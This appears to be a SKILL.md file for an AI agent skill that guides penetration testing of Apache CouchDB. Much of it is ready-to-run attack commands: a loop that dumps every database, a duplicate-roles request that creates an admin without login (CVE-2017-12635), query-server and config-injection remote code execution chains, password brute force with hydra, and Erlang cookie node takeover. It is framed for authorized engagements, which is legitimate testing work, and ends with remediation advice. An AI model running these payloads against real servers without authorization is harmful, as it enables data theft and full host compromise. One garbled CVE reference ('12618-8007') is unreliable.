pentesting-couchdb
$
npx mdskill add xalgord/xalgorix/pentesting-couchdb- Default `5984/tcp` (HTTP API), `6984/tcp` (HTTPS); cluster mode adds node-local `5986`, and Erlang EPMD on `4369`. - Document-oriented database driven entirely by a **REST/HTTP API**; each document has an `_id` and revision `_rev`. - Use whenever 5984 is reachable — older CouchDB runs in "admin party" (no admins) and exposes everything.
SKILL.md
.github/skills/pentesting-couchdbView on GitHub ↗
---
name: pentesting-couchdb
description: Testing Apache CouchDB document databases (default HTTP port 5984, HTTPS 6984) for unauthenticated/admin-party access, database dumping over the REST API, default/weak credentials, the CVE-2017-12635 privilege-escalation admin-creation bug and CVE-2017-12636/CVE-2018-8007 remote-code-execution paths, plus Erlang EPMD cookie abuse during authorized engagements.
domain: cybersecurity
subdomain: network-services-pentesting
tags:
- penetration-testing
- network-services
- database
- couchdb
version: '1.0'
author: xalgorix
license: Apache-2.0
---
# Pentesting CouchDB (port 5984)
## When to Use
- Default `5984/tcp` (HTTP API), `6984/tcp` (HTTPS); cluster mode adds node-local `5986`, and Erlang EPMD on `4369`.
- Document-oriented database driven entirely by a **REST/HTTP API**; each document has an `_id` and revision `_rev`.
- Use whenever 5984 is reachable — older CouchDB runs in "admin party" (no admins) and exposes everything.
## Quick Enumeration
```bash
# Welcome banner + version
curl http://<IP>:5984/
# {"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
nmap -sV --script couchdb-databases,couchdb-stats -p5984 <IP>
msfconsole -q -x 'use auxiliary/scanner/couchdb/couchdb_enum; set RHOSTS <IP>; run; exit'
```
## Critical: Checks Most Often Missed
- **Unauthenticated "admin party" access → full dump** — the #1 miss. With no admin configured, anyone can read/write all databases.
- How to CONFIRM: `curl http://<IP>:5984/_all_dbs` returns the DB list (not `401 {"error":"unauthorized"}`). A `401` on `/` means creds are required and even the banner is hidden.
- **Default / weak credentials** — when auth is on, try common admin pairs.
- How to CONFIRM: `curl http://user:pass@<IP>:5984/_all_dbs` returns the DB list; brute force HTTP basic auth.
- **CVE-2017-12635 — privilege escalation (duplicate JSON keys)** — Erlang vs JavaScript JSON parser disagreement lets an *unauthenticated* user create an admin by sending duplicate `roles` keys.
- How to CONFIRM: `curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' http://<IP>:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"` then login as `hacktricks:hacktricks` with `_admin` role.
- **CVE-2017-12636 — RCE via query servers / config** — an admin can register a malicious `query_servers`/`os_daemons` entry and trigger it through a design-document view, executing OS commands as the CouchDB user.
- How to CONFIRM: `PUT /_node/couchdb@localhost/_config/query_servers/cmd` with `"/path/cmd"`, then create a design doc with `"language":"cmd"` — the command runs. Chains directly off CVE-2017-12635.
- **CVE-2018-8007 — RCE via `cors/origins` config injection** — when `local.ini` is writable, inject an `[os_daemons]` entry through the CORS origins config; it executes on restart.
- **Erlang EPMD cookie abuse (port 4369)** — if 4369 is exposed and the Erlang `cookie` (e.g. seen in `ps` as `monster`) is known/guessable, connect as a distributed Erlang node for RCE.
## Workflow
### Step 1: Enumerate
```bash
curl http://<IP>:5984/ # version
curl http://<IP>:5984/_all_dbs # databases
curl http://<IP>:5984/_membership # cluster nodes (Erlang node name)
curl http://<IP>:5984/_node/_local/_config # full config (if authed)
curl http://<IP>:5984/_uuids # UUIDs
```
### Step 2: Authenticate (admin party, default/weak creds, brute force)
```bash
curl http://<IP>:5984/_all_dbs # try unauthenticated first
curl http://admin:password@<IP>:5984/_all_dbs # default creds
hydra -L users.txt -P passwords.txt <IP> http-get /_all_dbs
# Or CVE-2017-12635 to MINT your own admin (see below)
```
### Step 3: Exploit / Extract (dump documents + RCE)
```bash
# Dump every database -> all docs -> document contents
for db in $(curl -s http://<IP>:5984/_all_dbs | tr -d '[]"' | tr ',' ' '); do
echo "== $db =="; curl -s "http://<IP>:5984/$db/_all_docs?include_docs=true"
done
curl -s http://<IP>:5984/<db>/_all_docs # list ids
curl -s http://<IP>:5984/<db>/<id> # read a document
```
```bash
# CVE-2017-12635: create an admin user with no prior auth
curl -X PUT -d '{"type":"user","name":"pwn","roles":["_admin"],"roles":[],"password":"pwn"}' \
http://<IP>:5984/_users/org.couchdb.user:pwn -H "Content-Type:application/json"
```
```bash
# CVE-2017-12636: admin -> RCE via query_servers + design-doc view (CouchDB 2.x path)
curl http://pwn:pwn@<IP>:5984/_membership
curl -X PUT 'http://pwn:pwn@<IP>:5984/_node/couchdb@localhost/_config/query_servers/cmd' \
-d '"/sbin/ifconfig > /tmp/df"'
curl -X PUT 'http://pwn:pwn@<IP>:5984/df'
curl -X PUT 'http://pwn:pwn@<IP>:5984/df/zero' -d '{"_id":"HTP"}'
curl -X PUT 'http://pwn:pwn@<IP>:5984/df/_design/zero' \
-d '{"_id":"_design/zero","views":{"anything":{"map":""}},"language":"cmd"}'
```
```bash
# CVE-2018-8007: RCE via cors/origins config injection (requires writable local.ini)
curl -X PUT 'http://user:pass@<IP>:5984/_node/couchdb@localhost/_config/cors/origins' \
-H "Content-Type: application/json" \
-d "x\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"
```
### Step 4: Post-access / privilege escalation / pivot
- Dumped documents (`_users`, app DBs) often hold password hashes and secrets — crack and reuse against other services.
- After RCE the command runs as the CouchDB OS user; enumerate host, sudo, and the Erlang process (`ps aux | grep couchdb`) for the cookie.
- If EPMD `4369` is exposed, use the recovered Erlang cookie to join as a node and run code (see Erlang cookie RCE).
- CVE-2017-12636/12635 chain: mint admin → register query server → trigger via view = reliable RCE on vulnerable 1.x/2.x.
## Key Concepts
| Concept | Description |
|---------|-------------|
| **Admin party** | CouchDB default state with no admin user — everyone has full admin access. |
| **REST API** | All operations are HTTP verbs (`GET/PUT/POST`) against `/db`, `/db/_all_docs`, `/db/{id}`. |
| **_users / org.couchdb.user** | Internal user DB; target of the CVE-2017-12635 admin-creation bug. |
| **query_servers / os_daemons** | Config sections that run external programs — abused for RCE (CVE-2017-12636/12618-8007). |
| **Design documents / views** | `_design/*` map functions; selecting a malicious `language` triggers the query server. |
| **Erlang EPMD (4369) + cookie** | Cluster node auth secret; exposure enables distributed-Erlang RCE. |
## Tools & Systems
| Tool | Purpose |
|------|---------|
| **curl** | Primary client for banner, DB listing, document dumping, and all CVE exploitation. |
| **nmap NSE** | `couchdb-databases`, `couchdb-stats` for info + DB enumeration. |
| **Metasploit** | `scanner/couchdb/couchdb_enum`, `couchdb_login`, `exploit/.../apache_couchdb_cmd_exec`. |
| **hydra / medusa** | HTTP basic-auth brute force against `_all_dbs`. |
| **vulhub CVE-2017-12636 PoC** | Public exploit code (exp.py / EDB 44913) for the query-server RCE chain. |
| **EPMD / erl** | Distributed Erlang node connection for cookie-based RCE on 4369. |
## Common Scenarios
### Scenario 1: Admin party → full dump
`curl http://<IP>:5984/_all_dbs` returns `["_users","passwords","simpsons"]` with no auth. Iterating `_all_docs?include_docs=true` exfiltrates every document, including the `_users` password hashes.
### Scenario 2: Unauth → admin → RCE
The tester mints an admin with CVE-2017-12635, then chains CVE-2017-12636 by registering a `query_servers` command and triggering it via a design-doc view, gaining OS command execution as the couchdb user.
### Scenario 3: Erlang cookie pivot
EPMD on 4369 is exposed and `ps` reveals the Erlang cookie. The tester joins as a distributed Erlang node and executes commands on the CouchDB host.
## Output Format
```
## CouchDB Finding
**Service**: Apache CouchDB
**Port**: 5984/tcp (CouchDB 2.0.0)
**Severity**: Critical
**Finding**: Unauthenticated access plus CVE-2017-12635 privilege escalation
**Evidence**:
- curl http://<IP>:5984/_all_dbs -> ["_users","passwords","simpsons"] (no auth)
- PUT _users/org.couchdb.user:pwn with duplicate roles -> admin "pwn" created
- login pwn:pwn confirmed _admin role
**Impact**: Unauthenticated data theft and admin takeover, leading to remote code execution via query-server config.
**Recommendation**:
1. Configure an admin user to end "admin party" and require authentication.
2. Restrict 5984/6984/5986/4369 by firewall; never expose to untrusted networks.
3. Upgrade to patch CVE-2017-12635/12636 and CVE-2018-8007; keep local.ini non-writable by the service.
4. Set a strong, unique Erlang cookie and isolate cluster traffic.
```